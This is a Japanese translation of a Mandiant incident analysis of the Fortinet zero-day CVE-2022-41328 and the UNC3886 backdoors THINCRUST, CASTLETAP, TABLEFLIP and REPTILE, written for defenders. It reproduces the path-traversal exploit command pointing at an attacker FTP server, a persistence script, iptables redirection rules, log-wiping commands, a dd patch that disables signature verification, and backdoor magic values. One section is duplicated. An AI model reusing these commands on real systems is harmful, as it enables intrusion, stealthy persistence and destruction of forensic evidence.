Fortinetのゼロデイ マルウェアとカスタム マルウェア、中国の攻撃者によるスパイ活動で使用された疑い
Mandiant
※この投稿は米国時間 2023 年 3月 16日に、Google Cloud blog に投稿されたものの抄訳です。
サイバー スパイ活動に従事する攻撃者は、ファイアウォール、IoT デバイス、ハイパーバイザー および VPN テクノロジー (Fortinet、SonicWall、Pulse Secure、 その他)など、EDRソリューションに対応していないテクノロジーを引き続きターゲットにしています。 Mandiant は、何年にもわたって防衛産業基盤 (DIB)、政府、テクノロジー、および通信の各種組織を標的とした数十件もの侵入事例を調査してきました。これらの侵入事例では、中国との関連が疑われる攻撃グループがゼロデイ脆弱性を悪用し、カスタム マルウェアを展開してユーザーの認証情報を盗み、被害組織内で長期に渡ってアクセスを維持していました。
私たちは、サイバースパイに従事する攻撃者がゼロデイ脆弱性を悪用し、インターネット上に公開されたシステムにカスタムマルウェアを展開する初期侵入のケースをしばしば観測しています。このブログでは、中国に関連する攻撃者がすでに被害組織の環境にアクセスし、環境への持続的なアクセスを維持する手段として、Fortinet および VMware ソリューションにバックドアを展開しましたシナリオについて説明します。これには、FortiOS のローカル ゼロデイ脆弱性 (CVE-2022-41328) の使用と、Fortinet および VMware システムへの複数のカスタム マルウェア ファミリの展開が含まれています。 Mandant は、2022年9月にVMware マルウェア エコシステム の詳細を発表しています。
2022 年半ば、Mandiant は Fortinet と協力して、FortiGate (ファイアウォール)、FortiManager (集中管理ソリューション)、FortiAnalyzer (ログ管理、分析、およびレポート プラットフォーム) を含む複数の Fortinet ソリューションにわたるマルウェアの悪用と展開を調査しました。次の手順は、攻撃者が実行したアクションを示しています。
- ローカル ディレクトリ トラバーサル ゼロデイ (CVE-2022-41328) エクスプロイトを利用して、シェル アクセスで許可されている通常の範囲外で FortiGate ファイアウォール ディスクにファイルを書き込む。
- ICMP ポート ノッキングによる FortiGate ファイアウォール内のスーパー管理者権限による持続的なアクセスの維持
- パッシブ トラフィック リダイレクション ユーティリティを使用して FortiManager デバイスでアクティブなファイアウォール ルールを迂回し、スーパー管理者権限で持続的なバックドアへの接続する。
- デバイス内で作成されたカスタム API エンドポイントを介して、FortiManager および FortiAnalyzer デバイスで持続性を確立する。
- ブート ファイルに対象を絞って破損し、システム ファイルの OpenSSL 1.1.0 デジタル署名の検証を無効にする。
Mandiant は、この活動をUNC3886にアトリビュートしています。UNC3886は、中国に関連するグループであり、2022年9月に公開された新しいVMware ESXi ハイパーバイザー マルウェア フレームワーク に関連していると私たちは考えています。ESXiiハイバーバイザーが侵害されたとき、Mandiantは UNC3886が VIRTUALPITA バックドアに直接接続するのを複数回観測しました。
Mandiantは、Fortinetの管理IPアドレスからVIRTUALPITAに接続されていることから、FortiGateおよびFortiManagerデバイスが危険にさらされていると考えました。さらに、連邦情報処理規格(FIPS)準拠モードを有効にしたFortiGateデバイスは、再起動した後に起動に失敗しました。FIPSモードを有効にすると、オペレーティングシステムのチェックサムがクリーンなイメージのチェックサムと比較されます。攻撃者によってオペレーティングシステムが改ざんされていたため、チェックサムの比較は失敗し、FortiGate Firewallsは保護的に起動に失敗していました。Fortinetの支援により、Mandiantはこれらの失敗したデバイスのフォレンジックイメージを取得し、ICMPポートノッキングバックドアCASTLETAPの発見を促しました。
Fortinet エコシステム
Fortinet エコシステムの複数のコンポーネントが、VMWare インフラストラクチャに移行する前に、UNC3886 の標的になりました。侵害時のコンポーネントと関連するバージョンは、次のとおりです。
- FortiGate: 6.2.7 –FortiGate ユニットは、デバイスを通過するネットワーク トラフィックの制御と監視を可能にするネットワーク ファイアウォール デバイスです。
- FortiManager 6.4.7 – FortiManager は、Fortinet デバイスを管理するための集中管理プラットフォームとして機能します。
- FortiAnalyzer 6.4.7 – FortiAnalyzer は、Fortinet デバイスの集中ログ管理ソリューションおよびレポート プラットフォームとして機能します。
シナリオ #1 (要約):
FortiManager がインターネットに公開されている
Mandiant は、攻撃者がFortinetのテクノロジーを悪用してネットワーク アクセスを確立する 2 つの異なる攻撃ライフサイクルを観察しました。最初の攻撃は、FortiManager デバイスがインターネットに公開されている状態のときに、攻撃者がFortinet エコシステムへの最初のアクセスを取得して発生しました。
この攻撃のライフサイクルでは、図 1 に示すように、正当な API コール (THINCRUST) を装ったバックドアが FortiAnalyzer デバイスと FortiManager デバイスの両方に展開されました。そして、2 つのデバイス間で永続性が確立されると、FortiManager スクリプトを使用して、FortiGate デバイス全体にバックドア (CASTLETAP) を展開しました。
Mandiant は、Fortinet デバイスから ESXi サーバーへの SSH 接続、そしてその後でVIRTUALPITA および VIRTUALPIE バックドアを含む悪意のある vSphere インストール バンドルがインストールされるのを観測しました。これにより、攻撃者はハイパーバイザーに永続的にアクセスできるようになり、ゲスト仮想マシン上でコマンドを実行できるようになりました。
Mandiant には、この投稿の執筆時点で、初期アクセスの取得や悪意のある VIB の展開にゼロデイ脆弱性が使用されたという証拠は持っていません。 VIRTUALPITA と VIRTUALPIE については、2022年9月に公開した Mandiant ブログ にて詳しく説明しています。
図 1: インターネットから FortiManager にアクセスできる状態になっていた際の攻撃ライフサイクル
シナリオ 2 (要約):
FortiManager がインターネットに公開されていない
2 番目の攻撃ライフサイクルは、外部アクセスを TCP ポート 541 (FortiGate から FortiManager プロトコルへ) のみに制限するネットワーク アクセス コントロール リスト (ACL) が FortiManager デバイスに設定されている場合に発生しました。図 2 に示すように、この攻撃のライフサイクル中に攻撃者は FortiManager デバイスにネットワーク トラフィック リダイレクト ユーティリティ (TABLEFLIP) とリバース シェル バックドア (REPTILE) を展開し、新しい ACL を回避しました。 TABLEFLIP ユーティリティによって確立されたリダイレクト ルールにより、攻撃者はインターネットから直接 REPTILE バックドアにアクセスし、環境へのアクセスを継続することができました。
図 2: FortiManager にインターネット アクセス制限が実装された後の活動
シナリオ #1 (詳細):
FortiManager がインターネットに公開されている
以下の技術的な詳細は、FortiManager がインターネットに公開されていた際の攻撃者がたどった攻撃経路を説明しています
THINCRUST バックドア (Python ベースのバックドア)
Mandiant の分析では、攻撃者が FortiManager への最初の接続時に、正規の Web フレームワーク ファイルに Python バックドア コードを追加したことが判明しました。 Mandiant は、この新しいマルウェアファミリーをTHINCRUSTとして分類しました。
攻撃者が正規のファイル /usr/local/lib/python3.8/proj/util/urls.py
を改ざんし、図3に示すような悪意のあるAPIコール show_device_info を追加で組み込みました。これにより、攻撃者はURI “/p/util/show_device_info
”へのPOSTリクエストを通じてTHINCRUSTバックドアとやりとりすることができました。
図 3: urls.py の比較
show_device_info
のURLにPOSTリクエストが送られると、/usr/local/lib/python3.8/proj/util/views.py
. のget_device_info
関数にリクエストを渡しました。get_device_info関数にはTHINCRUSTバックドアが含まれており、攻撃者は図4に見られるように、POSTリクエストで提供されたクッキーに応じてコマンドの実行、ディスクへのファイルの書き込み、ディスクからのファイルの読み取りができるようになっていました。
図 4: THINCRUST バックドア python コード
get_device_info関数は、POSTリクエスト内の FGMGTOKEN
と DEVICEID
という2つのクッキーの存在に依存していました。FGMGTOKEN
クッキーはviews.pyにハードコードされたRSAキーで暗号化されており、DEVICEID
クッキーで受け取ったコマンドを復号するRC4キーが含まれていました。DEVICEID
の復号化された結果は、'id'と'key'をキーとするJSONエンコードされた辞書でした。表1に示すように、「id」値はバックドア内で実行するアクションを決定し、「key」値には実行されるアクションの引数として機能する文字列が含まれていました。
views.py のほとんどのファイルには @login_required
デコレータが適用されていましたが [デコレータとは、明示的にコードを変更することなく他の関数の動作を拡張する任意の関数 (デコレータを呼び出す構文: @;)] 、悪意のある関数 get_device_info
は図 5 にあるようにシステムに内在する Django python モジュールを利用して関数に @csrf_exempt
デコレータを追加しています。これは、悪意のあるAPIコールへのPOSTリクエストが、正常に実行されるためにログインやCSRFトークンを必要としないことを意味します。
図 5: @login_required と @csrf_exempt デコレーター
Mandiant は、この悪意のある API コールの亜種が FortiAnalyzer デバイスにも存在することを確認しました。views.pyのバックドア関数であるget_device_infoはFortiManagerと同じでしたが、図6に見られるように、バックドアへのアクセスに使用されるAPIコールは、FortiAnalyzerデバイス上で/p/utils/fortigate_syslog_sendに変更されました
図 6: urls.py の FortiAnalyzer の亜種: fortigate_syslog_send
FortiGate デバイスでの CVE-2022-41328 のエクスプロイト
THINCRUST バックドアを使用して FortiManager デバイスと FortiAnalyzer デバイス間で持続性が確立された後、攻撃者は FortiManager スクリプトを複数の FortiGate ファイアウォールに展開しました。図 7 に示すように、この活動は FortiGate の elog に記録されています。
vd="root"
type="event"
subtype="system"
level="notice" logdesc="Upload and run a script"
user=”Fortimanager_Access”
ui="fgfmd"
msg=" User Fortimanager_Access via fgfmd upload and run script: <script_id> -- OK"
攻撃者は、これらのFortiManagerスクリプトが解析のために復元される前にFortiManagerデバイスから削除しましたが、複数のイベントログタイプの相関関係から、スクリプトがパス・トラバーサル脆弱性(CVE-2022-41328)を利用していることがわかりました。この脆弱性は、execute wireless-controller hs20-icon upload-icon(図8参照)というコマンドを使用して、攻撃者に悪用されました。このコマンドにより、攻撃者は、通常制限されているシステムディレクトリ内の正規のファイルを上書きすることができました。通常、execute wireless-controller hs20-icon upload-iconコマンドは、ファイル転送プロトコル(「FTP」)またはTrivial File Transfer Protocol(「TFTP」)を使用してサーバーからFortiGateファイアウォールに.icoファイル(アイコンファイル)をアップロードし、HotSpot 2.0 Online Sign-Up (OSU)ポータル内で使用できるよう使用するために使用します。HotSpot 2.0は、セルラーデータと公衆無線LANをシームレスに切り替えることができる技術です。
しかし、execute wireless-controller hs20-icon upload-iconコマンドには、2つの問題がありました。このコマンドは、アップロードされるファイルの種類を検証せず、スーパー管理者権限を持つ攻撃者が65,535バイトより小さいファイルをファイルシステム上の任意の場所にアップロードできるディレクトリ・トラバーサルエクスプロイトの影響を受ける可能性がありました。つまり、コマンドのサイズ制約の範囲外では、攻撃者はFortiGateファイアウォールのあらゆる正規のシステムファイルを置き換えることが可能だということです。
この脆弱性(CVE-2022-41328)の悪用に成功しても、FortiGateのelogには記録され ません。FortiManagerスクリプトが実行された頃、このエクスプロイトを使用してシステムファイル/bin/lspciを上書きしようとした攻撃者の失敗がelogに記録されています(図8参照)。
execute wireless-controller hs20-icon upload-icon ftp ../../../../../../bin/lspci <TA FTP Server>
Fortinetは、このコマンドの悪用がこれらのイベント以前には見られなかったことを確認し、CVE-2022-41328という名称を割り当てました。Fortinetは、失敗したコマンドイベントで見られた構文を使用して、エクスプロイトを複製することに成功しました。
さらに、FortiGuardのログイベントには、悪用が試みられたことを裏付ける証拠として、「file_transfer: msg フィールドに「TFTP.Server.Buffer.Overflow repeated X times」と表示された FortiGuard のログイベントが見つかりました。これらのイベントは、FortiGateファイアウォールからFortiAnalyzerデバイスへの接続を示し、パケットコンテンツには、図9に示すように、lscpiディレクトリ・トラバーサル文字列が含まれていました。同様のイベントで、FortiGate 6.2.7 デバイスの /bin/ ディレクトリにある別のバイナリである filename ノードを持つディレクトリトラバーサル文字列も参照されましたが、Mandiant は攻撃者が lscpi バイナリを正常に置き換えることのみを観測しました
PFBBVFRFUk5TPiAAATsuLi88L1BBVFRFUk5TPgo8VVJJPiA8L1VSST4KPEhFQURFUj4gPC9IRUFERVI+CjxCT
0RZPiA8L0JPRFk+CjxQQUNLRVQ+IAABLi4vLi4vLi4vLi4vLi4vLi4vYmluL2xzcGNpAG9jdGV0ADwvUEFDS0
VUPg==
Base 64 Decoded
<PACKET> ..../../../../../../bin/lspci.octet.</PACKET>
疑わしいバックドアへのシムリンク (/bin/lspci ->; /bin/sysctl)
Mandiant は、複数の FortiGate ファイアウォールのファイルリストを確認し、FortiGate のログに見られる失敗したコマンドを基に、/bin/lspci の変更バージョンを探しました。合計で、/bin/lspciの2つの亜種が確認されました。バイナリのスタンドアロンバージョンと、/bin/sysctlにシンボリックリンクされたバージョンです。Fortinetは、/bin/lspciは常にスタンドアロンのバイナリであるべきだと確認しました。
侵害されたFortiGateファイアウォールの/bin/lspciと/bin/sysctlのファイル一覧エントリには、FortiGateマシン上の他の正規のバイナリと一致しない類似のタイムスタンプがありました。さらに、侵害されたFortiGateファイアウォールの/bin/sysctlのファイルサイズは、非侵害デバイスで報告されたものよりはるかに大きくなっていました。
通常、FortiGateファイアウォールに接続されたPCIeデバイスを一覧表示するには「diagnose hardware lscpi」コマンドを使用しますが、攻撃者が正規のlspciバイナリをシンボリックリンクで置き換えると、診断コマンドは攻撃者が変更したsysctlファイルを代わりに実行できるようになりました。
図10と図11のファイル一覧の抜粋は、FortiGateファイアウォールに存在する/bin/lspciと/bin/sysctlのオリジナルバージョンと修正バージョンの違いを明らかにしています。
COMPROMISED-FGT101F # fnsysctl ls -la /bin
...
lrwxrwxrwx 1 root root 9 Oct 18 13:09 lldptx -> /bin/init
lrwxrwxrwx 1 root root 9 Oct 18 13:09 lnkmtd -> /bin/init
lrwxrwxrwx 1 root root 11 Oct 19 05:11 lspci -> /bin/sysctl
lrwxrwxrwx 1 root root 9 Oct 18 13:09 lted -> /bin/init
lrwxrwxrwx 1 root root 9 Oct 18 13:09 memuploadd -> /bin/init
...
-rwxr-xr-x 1 root root 1478216 Oct 19 05:11 sysctl
NON-COMPROMISED-FGT101F # fnsysctl ls -la /bin
...
lrwxrwxrwx 1 0 0 Fri Sep 2 12:07:55 2022 9 lldptx -> /bin/init
lrwxrwxrwx 1 0 0 Fri Sep 2 12:07:55 2022 9 lnkmtd -> /bin/init
-rwxr-xr-x 1 0 0 Fri Sep 2 12:07:55 2022 131736 lspci
lrwxrwxrwx 1 0 0 Fri Sep 2 12:07:55 2022 9 lted -> /bin/init
lrwxrwxrwx 1 0 0 Fri Sep 2 12:07:55 2022 9 memuploadd -> /bin/init
...
-rwxr-xr-x 1 0 0 Fri Sep 2 12:07:55 2022 251480 sysctl
修正時間とサイズの違いに加え、ファイル一覧コマンドfnsysctl ls -l /binの出力は、異なるフォーマットと順序で複数のフィールドを表示しました。これは、攻撃者が/bin/sysctlを置き換えたために、FortiGateファイアウォールのシェル機能が変更されたためと思われます。FortiOSのファイルシステムに加えられた変更は永続的ではないため、分析のためにファイルを復元することはできませんでした。
デフォルトでは、FortiOSを実行するFortinetデバイスは、/data/パーティション内にrootfs.gzと名付けられたアーカイブをディスク上に持ちます。ブート時に、このファイルはルートファイルシステムとしてマウントされます。つまり、マウントされたイメージに変更が加えられた場合、rootfs.gz アーカイブに書き込まれない限り、変更は永続化されません。FortiGateファイアウォールは、実行時にマウントされたファイルシステムからファイルをエクスポートすることをサポートしません。bin/lspciと/bin/sysctlに加えられた変更は、rootfs.gzアーカイブに書き込まれなかったため、永続的にインストールされず、さらに分析することができませんでした。
MandiantはFortinetと調整し、侵害されたFortiGateファイアウォールのフォレンジックイメージを入手し、デバイスの予測する内容をより詳しく特定することができました。Fortinetは、侵害された FortiGate ファイアウォールのフォレンジック・イメージを既知の正常なバージョンと比較し、永続的なバックドアを含むトロイの木馬化したファームウェアを特定しました。Mandiant は、このバックドアを CASTLETAP という新しいマルウェア・ファミリーとして報告しています。
CASTLETAP (FortiGate ファイアウォール バックドア)
FortiGateファイアウォールの分析により、追加の悪意のあるファイル/bin/fgfmが特定されました。このファイルは、CASTLETAPという名前のパッシブバックドアであり、起動のために特殊なICMPパケットを待ち受けるものであることが、/bin/fgfmの分析により判明しました。攻撃者は、バックドアをFortiManagerとFortiGateファイアウォール間の通信を促進する正規のサービス「fgfmd」に見せかけるために、このファイルに「fgfm」という名前を付けたと思われます。
実行されると、CASTLETAPは素のソケットを無作為に作成して、ネットワークトラフィックを傍受します。次にCASTLETAPは、ICMPエコー要求パケットのペイロードに含まれる9バイトのマジックアクティベーションストリングをフィルタリングしてXORデコードしました。表2に、CASTLETAPが解釈したマジックストリングとその結果のアクションを示します。
ICMPパケット内のC2情報を解読するために、エポック日付スタンプから1バイトのXORキーを導き出し、ペイロードデータを復号化しました。つまり、エンコーディングの規格が毎日変わっていたことになります。図12は、XORキーの算出に使用された計算式です。
((year + 1900 + month * (year + 1900)) * date) % 255
year: index starting from 1900 i.e. current_year-1900
month: index starting from 0
date: index starting from 1
表 3 は CASTLETAP が予測する ICMP パケットのペイロード構造を定義したものです。
アクティべーションパケットからC2のIPアドレスとポートが解析されると、CASTLETAPはSSLソケットを介してC2への接続を開始しました。この接続が確立されると、CASTLETAPはC2サーバーが図13に示す16バイトのシーケンスでハンドシェイクを開始し、同じシーケンスが応答としてエコーされるものと予測しました。
0x58, 0x90, 0xAE, 0x86, 0xF1, 0xB9, 0x1C, 0xF6, 0x29, 0x83, 0x95, 0x71, 0x1D, 0xDE, 0x58, 0x0D
Once connected to the C2, CASTLETAP could accept multiple types of commands over SSL, as seen in Table 4.
コマンドの受信に成功すると、バックドアは確認トークンとして「;7(Zu9YTsA7qQ#vw)」というシーケンスを返し、この同じ文字列はセッション終了を知らせるためにも送信されました。
CASTLETAPがFortiGateファイアウォールに展開されると、攻撃者はESXiとvCenterマシンに接続しました。攻撃者はVIRTUALPITAとVIRTUALPIEを展開して永続性を確立し、ハイパーバイザーとゲストマシンへのアクセスを継続できるようにしました。これについては、ブログ記事「悪意のあるVIB(E) Part-1:ESXiハイパーバイザー内の新しいマルウェアの持続性に関する調査」でさらに詳しく解説しています。
シナリオ 2 (詳細):
FortiManager がインターネットに公開されていない
ここでは、FortiManagerに外部からのアクセスを制限するためのネットワークアクセス制御リスト(ACL)が設定されている場合に攻撃者がとった攻撃経路を説明します。
インターネット接続が制限された FortiManager へのアクセスの回復
FortiManagerデバイスにACLが実装されると、攻撃者はデバイスへの直接のパブリックアクセスを失います。FortiManagerへのアクセスを回復するため、攻撃者はCASTLETAPで侵害されたFortiGate Firewallからピボットを実行しました。攻撃者は、再接続に成功すると、表5に示す以下の3つの悪意のあるファイルをFortiManagerに展開しました。
ファイル /bin/support (MD5: 9ce2459168cf4b5af494776a70e0feda) は、/bin/klogd (REPTILE variant) と /bin/auth (TABLEFLIP) を実行するための起動スクリプトとして機能しました。攻撃者は、起動ファイル/etc/init.d/localnetを変更して、「nohup /bin/support &」という一行を実行し、システムが再起動されるたびにスクリプトが動作するようにしました。実行中のFortiOSファイルシステムはアーカイブrootfs.gzの一次コピーであるため、ファイルはメモリにロードされた後に一次コピーから削除され、フォレンジックイメージを取得しなければユーザーがアクセスできないファイルであるrootfs.gzアーカイブに保存されます。図14は、/bin/supportの内容を示しています。
#!/bin/bash
#cp /bin/sh /bin/top
sleep 30
/bin/klogd
/bin/auth
rm -rf /bin/klogd
rm -rf /nohup.out
rm -rf /bin/support
図14:/bin/supportの内容
TABLEFLIP (トラフィックリダイレクトユーティリティ)
インターネットからの直接アクセスを継続できるようにするため、攻撃者はTABLEFLIP(MD5:b6e92149efaf78e9ce7552297505b9d5)を実装しました。これは、特殊なコマンドパケットに対してすべてのアクティブインターフェースで待ち受けるパッシブト ラフィックリダイレクトユーティリティです。このユーティリティを使用すると、ACLの設定に関係なく、図15に示すように、攻撃者はFortiManagerに直接接続できるようになります。
図 15: TABLEFLIP の動作
TABLEFLIPは、TCPパケットをすべてのアクティブインターフェースで待機し、ポートTCP541宛のパケットに対して、図16に示す以下のマジックパケットをTCPペイロードの先頭で検索するようにコンフィグレーションされました。
17 03 01 01 D8 54 2F 31
図16:TABLEFLIPのマジックナンバーシーケンス
マジックナンバーが見つかった場合、マルウェアはTCPペイロードのオフセット0xBからXORキーを抽出しました。この鍵は、XORベースの逐次復号化のためのシードとして使用されました。TCPペイロードのオフセット0xC以降も、この方式で復号化されました。図 17 に、ペイロードの構造を示します
struct _payload
{
_DWORD magic_dword1;
_DWORD magic_dword2;
_BYTE unused[3];
_BYTE xor_key;
_DWORD command;
_DWORD ip;
_WORD port;
};
図 17: TABLEFLIP ペイロードの構造
その後、マルウェアはペイロードからコマンド、IP、およびポートを抽出しようとしました。表6に、コマンドと、コマンドが認識されたときに実行されるアクションについて説明します
表6:TABLEFLIPの機能キー
トラフィックのリダイレクトは、図18に示すように、FortiManagerシステム上にiptablesルールを追加することで 達成されました。コマンドパケットに指定されたソースIPとリダイレクトポートでiptablesを実行し、そのIPとポートの組み合わせに対するPEROUTINGルールがすでに存在するかどうかをチェックしました。その組み合わせが見つからなかった場合、PEROUTINGチェーンに新しいリダイレクトルールが追加されました。PEROUTINGチェーンの下のルールは、パケットがインタフェースで受信されると直ちに処理されました。
iptables -t nat -S PREROUTING | grep <src_ip> | grep <redirection_port> || iptables -t nat
-A PREROUTING -p tcp -s <src_ip> --dport 541 -j REDIRECT --to-port <redirection_port>
TABLEFLIPは、TCPパケットをすべてのアクティブインターフェースで待機し、ポートTCP541宛のパケットに対して、図16に示す以下のマジックパケットをTCPペイロードの先頭で検索するようにコンフィグレーションされました。
17 03 01 01 D8 54 2F 31
図16:TABLEFLIPのマジックナンバーシーケンス
マジックナンバーが見つかった場合、マルウェアはTCPペイロードのオフセット0xBからXORキーを抽出しました。この鍵は、XORベースの逐次復号化のためのシードとして使用されました。TCPペイロードのオフセット0xC以降も、この方式で復号化されました。図 17 に、ペイロードの構造を示します
struct _payload
{
_DWORD magic_dword1;
_DWORD magic_dword2;
_BYTE unused[3];
_BYTE xor_key;
_DWORD command;
_DWORD ip;
_WORD port;
};
図 17: TABLEFLIP ペイロードの構造
その後、マルウェアはペイロードからコマンド、IP、およびポートを抽出しようとしました。表6に、コマンドと、コマンドが認識されたときに実行されるアクションについて説明します
表6:TABLEFLIPの機能キー
トラフィックのリダイレクトは、図18に示すように、FortiManagerシステム上にiptablesルールを追加することで 達成されました。コマンドパケットに指定されたソースIPとリダイレクトポートでiptablesを実行し、そのIPとポートの組み合わせに対するPEROUTINGルールがすでに存在するかどうかをチェックしました。その組み合わせが見つからなかった場合、PEROUTINGチェーンに新しいリダイレクトルールが追加されました。PEROUTINGチェーンの下のルールは、パケットがインタフェースで受信されると直ちに処理されました。
iptables -t nat -S PREROUTING | grep <src_ip> | grep <redirection_port> || iptables -t nat
-A PREROUTING -p tcp -s <src_ip> --dport 541 -j REDIRECT --to-port <redirection_port>
図18:トラフィックのリダイレクトを実装するためのiptablesルール
トラフィックリダイレクトの削除に割り当てられたとき、TABLEFLIPはgrepコマンドを利用して、PEROUTINGチェーンの中で対象となるIPアドレスとリダイレクトポートを含むすべての行をフィルタリングし、適切なルールIDをawkでキャプチャしました。これらのidは、図19に示すように、PEROUTINGチェーンから削除するためにxargsでiptablesに返されました
iptables -t nat -S PREROUTING | tail -n +2 | grep -n -E '<src_ip>.*< redirection_port>' | awk -F: '{print $1}'| xargs iptables -t nat -D PREROUTING
図19: トラフィックのリダイレクトを無効にするiptablesルー
REPTILE (バックドア)
FortiManagerデバイス上で永続的なアクセスを実現するために、攻撃者は、MandiantがREPTILEと呼ぶファイル名/bin/klogd (MD5: 53a69adac914808eced2bf8155a7512d) を持つバックドア(一般に公開されているLinuxカーネルモジュール(LKM)ルートキットの変種)を展開させました。TABLEFLIPのアシストによって、攻撃者はiptablesトラフィックリダイレクトルールを使用してトラフィックを転送し、REPTILEバックドアにアクセスすることに成功しました。
実行されると、REPTILEはOSIレイヤー2パケットを受信するためのパケットソケットを作成しました。パケットを受信すると、バックドアは図20の疑似コードに見られるチェックを実行し、マジックストリングが存在するかどうかを判断します。
single_byte_xor_key = (month * year) * day % 255
index = 2 * data_received_on_port_8[7];
data_to_decode_ptr = *((char *)&data[index + 12] + 1)
i = 0
while ( i < strlen(data_to_decode) )
decoded_data[i] = data_to_decode_ptr[i++] ^ single_byte_xor_key;
strncmp(&decoded_data, "mznCvqSBo", 9)
図20:REPTILEマジックストリング検出擬似コード
表7:REPTILEのマジックストリングオプション
CASTLETAP が C2 情報をデコードするために使用した方法と同様に、REPTILE はエポックの日付スタンプから 1 バイトの XORキーを導出してペイロード データを復号化しました。これにより、暗号化キーが毎日変更されました。図 21 は、XORキーの計算に使用された式を示しています。
(month * (year + 1900)) * day % 255
year: index starting from 1900 i.e. current_year-1900
month: index starting from 0
date: index starting from 1
図21:REPTILE XORキーの計算結果
マジックストリング「mznCvqSBo」が見つかった場合、アクティブ化パケットの残りのペイロードから抽出したC2 IPアドレスと宛先ポートでリバースシェルを作成しました。最初のマジックストリングが存在しない場合、バイナリは2番目のマジックストリング「hpaVAj2FJ」を検索します。この2番目のマジックストリングが見つかった場合、REPTILEプロセスは終了します。
マジックストリングが見つからなかった場合、バックドアは他の接続を引き続き検索します。
攻撃者のアンチフォレンジック
ログの消去と修正
Mandiant は FortiManager のシステムメモリを分析し、複数のログソースから攻撃者の IP アドレスを含む特定のイベントを消去するために使用された攻撃者のコマンドを特定しました。図22に見られるコマンドは、THINCRUSTバックドアへの接続に使用されたIPアドレスを含むログエントリを削除するために攻撃者によって利用されました。
echo > /var/log/django.log; \
echo > /var/log/apache2/error_log; \
sed -i ‘/<ipaddress>/d’ /var/log/apache2/*log; \
ls -alt /var/log/ /var/log/apache2/
図22:攻撃者のアンチフォレンジックコマンド
起動時のファイル システム検証の無効化
攻撃者は、起動時にファイルシステムに対して行われるデジタル署名検証チェックをスキップするために、FortiManagerとFortiAnalyzerの両デバイスのrootfs.gzアーカイブ内のスタートアップ設定/etc/init.d/localnetに図23に示すコマンドを追加しました。
printf "t" | dd of=/bin/smit bs=1 count=1 conv=notrunc seek=22866 2>/dev/null
図23:/etc/init.d/localnet - DDコマンド
FortiManagerとFortiAnalyzerの両方から、侵害された/bin/smit(a388ebaef45add5da503e4bf2b9da546)をクリーンバージョンと比較すると、修正されたバイナリには1バイトの違いがありました。システム起動時にmountコマンドライン引数が与えられると、/bin/smit内の変更された場所が実行されます。通常、mount 関数は、/data/.fmg_sign に対して図 24 のファイルに対する OpenSSL 1.1.0 デジタル署名検証チェックを実行しますが、この変更により、条件付きジャンプ命令が無条件ジャンプ命令に変わり、システム ファイルに対して通常行われるデジタル署名検証チェックが常にスキップされました
/data/extlinux.sys
/data/extlinux.conf
/data/boot.msg
/data/vmlinuz
/data/rootfse-fe
図24:/bin/smitで通常チェックされるファイル群
mountコマンドはシステム起動時に/etc/init.d/localnetより先に実行されるため、ddコマンドは/bin/smitの22,866バイト目を文字「t」で上書きし、ファイルがハッシュ化されていても、あたかも改ざんされていないようなバイナリに戻してしまいます。
アトリビューション
UNC3886は、ネットワーク上での活動する方法とキャンペーンで使用するツールにおいて独自の能力を持つ高度なサイバースパイグループです。UNC3886は、EDRサポートのないファイアウォールや仮想化技術をターゲットにしていることが確認されています。ファイアウォールのファームウェアを操作し、ゼロデイを悪用する能力は、こうした技術についてより深いレベルで理解していることを示すものです。UNC3886は、公開されているマルウェアを修正し、特に*nixオペレーティングシステムをターゲットにしています。
UNC3886とは関係なく、中国からと思われる別の攻撃グループが最近、Fortinetのゼロデイ脆弱性を狙っていることが確認されています(2023年1月中旬にMandiantが報告)。Mandiantは、引き続き証拠を収集し、UNC3886と中国のAPTに起因する他のグループとの間の重複を明らかにしていきます。
結 論
このブログ記事で取り上げた活動は、高度なサイバースパイ攻撃者が、標的とする環境への接続を獲得して侵入するために利用できるあらゆる技術、特にEDRソリューションに対応していない技術を活用していることを示す新たな証拠です。多くのネットワーク機器には、基本的なオペレーティング・システムに加えられたランタイムの変更を検出するソリューションがなく、フォレンジックイメージを収集するためにメーカーが直接関与する必要があるため、これは調査担当者にとっては特有の課題となっています。新しい攻撃手法が公開される前に、メーカーにいち早く知らせ、調査担当者に新しい攻撃に対応できる専門知識を提供するためには、組織横断的なコミュニケーションとコラボレーションが重要です。
Mandiantは、ESXiとVMwareインフラストラクチャを使用している企業に対し、このブログ記事で説明されているハードニング手順に従って、ESXiホストの攻撃対象領域を最小限に抑えることを推奨しています。
謝 辞
本ブログ記事で取り上げたマルウェアファミリーの調査、技術検討、検出の作成にご協力いただいたJeremy Koppen、Kirstie Failey、Bryce Bucklin、Jay Smith、Nicholas Luedtke、Ronnie Salomonsen、Nino Isakovic、Charles Carmakal、Fortinet PSIRTに特に感謝します。さらに、この調査におけるFortinetとVMwareの協力にも感謝します。
Fortinetは、CVE-2022-41328と特定された攻撃者の活動の分析に関する2つの追加リソースをリリースしています。
MITRE ATT&CK Techniques
Impact
- T1565.001: Stored Data Manipulation
Defense Evasion
- T1027: Obfuscated Files or Information
- T1070: Indicator Removal
- T1070.003: Clear Command History
- T1070.004: File Deletion
- T1078: Valid Accounts
- T1140: Deobfuscate/Decode Files or Information
- T1202: Indirect Command Execution
- T1218.011: Rundll32
- T1222: File and Directory Permissions Modification
- T1497: Virtualization/Sandbox Evasion
- T1497.001: System Checks
- T1620: Reflective Code Loading
Credential Access
- T1552: Unsecured Credentials
- T1555.005: Password Managers
Discovery
- T1016: System Network Configuration Discovery
- T1033: System Owner/User Discovery
- T1057: Process Discovery
- T1082: System Information Discovery
- T1083: File and Directory Discovery
- T1087: Account Discovery
- T1518: Software Discovery
Collection
- T1074.001: Local Data Staging
- T1560: Archive Collected Data
- T1560.001: Archive via Utility
Execution
- T1059: Command and Scripting Interpreter
- T1059.001: PowerShell
- T1059.003: Windows Command Shell
- T1059.004: Unix Shell
- T1059.006: Python
- T1129: Shared Modules
Command and Control
- T1095: Non-Application Layer Protocol
- T1102.001: Dead Drop Resolver
- T1105: Ingress Tool Transfer
- T1571: Non-Standard Port
- T1573.001: Symmetric Cryptography
Lateral Movement
- T1021.004: SSH
Indicators of Compromise
YARA Rules
rule M_Hunting_Util_TABLEFLIP_1
{
meta:
author = "Mandiant"
description = "Looks for TABLEFLIP Binary"
md5 = "b6e92149efaf78e9ce7552297505b9d5"
strings:
$z1 = "%1$s.*%2$d" fullword
$x1 = "/proc/self/exe" fullword
$x2 = "socket" fullword
$x3 = "127." fullword
$x4 = "iptables -t nat" fullword
$s1 = "iptables -t nat -S PREROUTING | grep %1$s | grep %2$d || iptables -t nat -A PREROUTING -p tcp -s %1$s --dport 541 -j REDIRECT --to-port %2$d"
